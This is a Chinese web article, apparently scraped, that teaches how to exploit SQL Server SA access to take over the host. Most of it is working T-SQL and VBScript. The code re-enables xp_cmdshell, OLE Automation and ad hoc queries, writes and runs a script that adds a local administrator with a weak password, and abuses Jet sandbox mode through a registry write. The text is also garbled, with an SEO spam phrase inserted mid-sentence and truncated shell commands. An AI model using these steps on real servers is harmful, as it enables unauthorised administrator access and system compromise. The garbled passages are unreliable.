mssql SA权限最新利用方法
网络安全 2021-07-03 09:19www.168986.cn网络安全知识
在获得SA密码后,往往因为服务器管理者或”前人”将.exe和1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下以下是引用片段 set wswork=CreateObject("WS C R I P T.NETWORK") os="WinNT://"&wswork.ComputerName Set ob=GetObject(os) ’得到adsi接口,绑定 Set oe=GetObject(os&"/Administrators,group") ’属性,admin组 Set od=ob.Create("user","test") ’建立用户 od.SetPassword "1234" ’设置密码 od.SetInfo ’保存 Set of=GetObject(os&"/test",user) ’得到用户 oe.add os&"/test" 将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下以下是引用片段 declare @o int, @f int, @t int, @ret int exec sp_oacreate ’scripting.filesystemobject’, @o out exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\1.vbs’, 1 exec @ret = sp_oamethod @f, ’writeline’, NULL,’set wswork=CreateObject ("WS C R I P T.NETWORK")’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’os="WinNT://"&wswork. ComputerName’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set ob=GetObject(os)’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set oe=GetObject (os&"/Administrators,group")’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set od=ob.Create ("user","test")’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’od.SetPassword "1234"’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’od.SetInfo ’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’Set of=GetObject (os&"/test",user) ’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’oe.add os&"/test"’ 执行完上面的语句,再执行狼蚁网站SEO优化这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:\1.vbs正被另一个程序运行”而无法成功添加用户 exec master..xp_cmdshell 'cscript c:\1.vbs' 如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为 exec master..xp_cmdshell 'echo set wswork=CreateObject("WS C R I P T.NETWORK") >>1.vbs' 不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式 Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1 然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户 select from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c user test 1234 /add")') select from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c localgroup administrators test /add")') 不同的操作系统,路径也不一样,需要根据情况做修改 NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\ Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开开启XP_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 开启'OPENROWSET' exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; 开启'sp_oacreate': exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
网络安全培训
- 网络安全带来的危害 网络安全的弊处
- 如何加强网络安全防范
- 网络安全防护知识内容摘要
- 什么网络安全指的是什么 网络安全指的是什么意
- 网络安全十大公司排名 网络安全十大公司排名绿
- 手机网络安全警示格言 手机网络安全警示教育片
- 网络安全培训心得体会 网络安全知识培训
- 如何树立正确的网络意识 怎么样正确对待网络
- 网络安全大赛是什么意思 网络安全大赛比赛规则
- 世界网络安全公司排名 世界十大网络安全上市公
- 网络安全注意事项知识 网络安全注意事项知识短
- 网络安全常识十条口诀 小学生安全十句话
- 网络安全等级保护三级 网络安全三级等保标准
- 如何增强网络安全防范意识 如何增强网络安全防
- 网络安全注意事项有哪些 网络安全应注意事项
- 网络安全培训感悟 网络安全培训后的收获和感想